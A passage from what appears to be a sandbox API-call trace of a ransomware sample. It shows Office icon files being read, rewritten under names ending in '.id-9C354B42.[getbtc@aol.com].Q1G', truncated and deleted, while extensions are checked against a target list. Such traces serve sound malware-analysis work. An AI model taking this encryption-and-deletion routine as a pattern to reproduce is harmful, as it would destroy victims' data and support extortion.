dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.074] GetLastError () returned 0x0 [0262.074] ReadFile (in: hFile=0x388, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x436, lpOverlapped=0x0) returned 1 [0262.080] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.080] ReadFile (in: hFile=0x388, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.080] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.081] SetEndOfFile (hFile=0x3a8) returned 1 [0262.081] CloseHandle (hObject=0x3a8) returned 1 [0262.081] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.081] SetEndOfFile (hFile=0x388) returned 1 [0262.083] CloseHandle (hObject=0x388) returned 1 [0262.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico")) returned 1 [0262.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.087] lstrlenW (lpString=".doc") returned 4 [0262.087] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.087] lstrlenW (lpString=".docx") returned 5 [0262.087] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.087] lstrlenW (lpString=".pdf") returned 4 [0262.087] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.087] lstrlenW (lpString=".xls") returned 4 [0262.087] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.087] lstrlenW (lpString=".xlsx") returned 5 [0262.087] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.087] lstrlenW (lpString=".ppt") returned 4 [0262.088] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.088] lstrlenW (lpString=".zip") returned 4 [0262.088] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.088] lstrlenW (lpString=".rar") returned 4 [0262.088] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.088] lstrlenW (lpString=".bz2") returned 4 [0262.088] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.088] lstrlenW (lpString=".7z") returned 3 [0262.088] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.088] lstrlenW (lpString=".dbf") returned 4 [0262.088] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.088] lstrlenW (lpString=".1cd") returned 4 [0262.088] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.088] lstrlenW (lpString=".jpg") returned 4 [0262.088] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.088] lstrlenW (lpString=".doc") returned 4 [0262.088] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.088] lstrlenW (lpString=".docx") returned 5 [0262.088] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.088] lstrlenW (lpString=".pdf") returned 4 [0262.088] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.088] lstrlenW (lpString=".xls") returned 4 [0262.088] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.088] lstrlenW (lpString=".xlsx") returned 5 [0262.088] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.088] lstrlenW (lpString=".ppt") returned 4 [0262.088] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.088] lstrlenW (lpString=".zip") returned 4 [0262.088] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.089] lstrlenW (lpString=".rar") returned 4 [0262.089] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.089] lstrlenW (lpString=".bz2") returned 4 [0262.089] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.089] lstrlenW (lpString=".7z") returned 3 [0262.089] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.089] lstrlenW (lpString=".dbf") returned 4 [0262.089] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.089] lstrlenW (lpString=".1cd") returned 4 [0262.089] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0262.089] lstrlenW (lpString=".jpg") returned 4 [0262.089] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.089] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.089] lstrlenW (lpString="IPMS.ICO") returned 8 [0262.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.090] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0262.090] CloseHandle (hObject=0x3a0) returned 1 [0262.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico")) returned 0x20 [0262.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.092] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.092] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.094] GetLastError () returned 0x0 [0262.094] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0262.104] WriteFile (in: hFile=0x37c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0262.105] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.105] WriteFile (in: hFile=0x37c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.105] SetEndOfFile (hFile=0x37c) returned 1 [0262.106] CloseHandle (hObject=0x37c) returned 1 [0262.106] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.106] SetEndOfFile (hFile=0x3a0) returned 1 [0262.107] CloseHandle (hObject=0x3a0) returned 1 [0262.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico")) returned 1 [0262.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.108] lstrlenW (lpString=".doc") returned 4 [0262.108] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.108] lstrlenW (lpString=".docx") returned 5 [0262.109] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.109] lstrlenW (lpString=".pdf") returned 4 [0262.109] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.109] lstrlenW (lpString=".xls") returned 4 [0262.109] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.109] lstrlenW (lpString=".xlsx") returned 5 [0262.109] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.109] lstrlenW (lpString=".ppt") returned 4 [0262.109] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.109] lstrlenW (lpString=".zip") returned 4 [0262.109] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.109] lstrlenW (lpString=".rar") returned 4 [0262.109] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.109] lstrlenW (lpString=".bz2") returned 4 [0262.109] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.109] lstrlenW (lpString=".7z") returned 3 [0262.109] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.109] lstrlenW (lpString=".dbf") returned 4 [0262.109] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.109] lstrlenW (lpString=".1cd") returned 4 [0262.109] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.109] lstrlenW (lpString=".jpg") returned 4 [0262.109] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.109] lstrlenW (lpString=".doc") returned 4 [0262.109] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.109] lstrlenW (lpString=".docx") returned 5 [0262.109] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.109] lstrlenW (lpString=".pdf") returned 4 [0262.109] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.109] lstrlenW (lpString=".xls") returned 4 [0262.109] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.110] lstrlenW (lpString=".xlsx") returned 5 [0262.110] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.110] lstrlenW (lpString=".ppt") returned 4 [0262.110] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.110] lstrlenW (lpString=".zip") returned 4 [0262.110] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.110] lstrlenW (lpString=".rar") returned 4 [0262.110] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.110] lstrlenW (lpString=".bz2") returned 4 [0262.110] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.110] lstrlenW (lpString=".7z") returned 3 [0262.110] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.110] lstrlenW (lpString=".dbf") returned 4 [0262.110] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.110] lstrlenW (lpString=".1cd") returned 4 [0262.110] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0262.110] lstrlenW (lpString=".jpg") returned 4 [0262.110] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.110] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.110] lstrlenW (lpString="MMSL.ICO") returned 8 [0262.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.111] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=10134) returned 1 [0262.111] CloseHandle (hObject=0x3a0) returned 1 [0262.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico")) returned 0x20 [0262.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.111] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.111] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.113] GetLastError () returned 0x0 [0262.113] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x2796, lpOverlapped=0x0) returned 1 [0262.125] WriteFile (in: hFile=0x37c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x27a0, lpOverlapped=0x0) returned 1 [0262.126] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.126] WriteFile (in: hFile=0x37c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.126] SetEndOfFile (hFile=0x37c) returned 1 [0262.126] CloseHandle (hObject=0x37c) returned 1 [0262.126] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.126] SetEndOfFile (hFile=0x3a0) returned 1 [0262.130] CloseHandle (hObject=0x3a0) returned 1 [0262.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico")) returned 1 [0262.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.131] lstrlenW (lpString=".doc") returned 4 [0262.131] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.131] lstrlenW (lpString=".docx") returned 5 [0262.131] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.131] lstrlenW (lpString=".pdf") returned 4 [0262.131] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.131] lstrlenW (lpString=".xls") returned 4 [0262.131] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.131] lstrlenW (lpString=".xlsx") returned 5 [0262.131] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.131] lstrlenW (lpString=".ppt") returned 4 [0262.131] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.131] lstrlenW (lpString=".zip") returned 4 [0262.131] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.131] lstrlenW (lpString=".rar") returned 4 [0262.131] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.131] lstrlenW (lpString=".bz2") returned 4 [0262.132] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.132] lstrlenW (lpString=".7z") returned 3 [0262.132] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.132] lstrlenW (lpString=".dbf") returned 4 [0262.132] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.132] lstrlenW (lpString=".1cd") returned 4 [0262.132] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.132] lstrlenW (lpString=".jpg") returned 4 [0262.132] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.132] lstrlenW (lpString=".doc") returned 4 [0262.132] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.132] lstrlenW (lpString=".docx") returned 5 [0262.132] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.132] lstrlenW (lpString=".pdf") returned 4 [0262.132] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.132] lstrlenW (lpString=".xls") returned 4 [0262.132] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.132] lstrlenW (lpString=".xlsx") returned 5 [0262.132] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.132] lstrlenW (lpString=".ppt") returned 4 [0262.132] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.132] lstrlenW (lpString=".zip") returned 4 [0262.132] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.132] lstrlenW (lpString=".rar") returned 4 [0262.132] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.132] lstrlenW (lpString=".bz2") returned 4 [0262.132] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.133] lstrlenW (lpString=".7z") returned 3 [0262.133] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.133] lstrlenW (lpString=".dbf") returned 4 [0262.133] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.133] lstrlenW (lpString=".1cd") returned 4 [0262.133] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0262.133] lstrlenW (lpString=".jpg") returned 4 [0262.133] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.133] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.133] lstrlenW (lpString="MMSS.ICO") returned 8 [0262.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.134] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2238) returned 1 [0262.134] CloseHandle (hObject=0x3a0) returned 1 [0262.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico")) returned 0x20 [0262.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.134] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.134] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.146] GetLastError () returned 0x0 [0262.147] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x8be, lpOverlapped=0x0) returned 1 [0262.148] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0262.149] ReadFile (in: hFile=0x3a0, 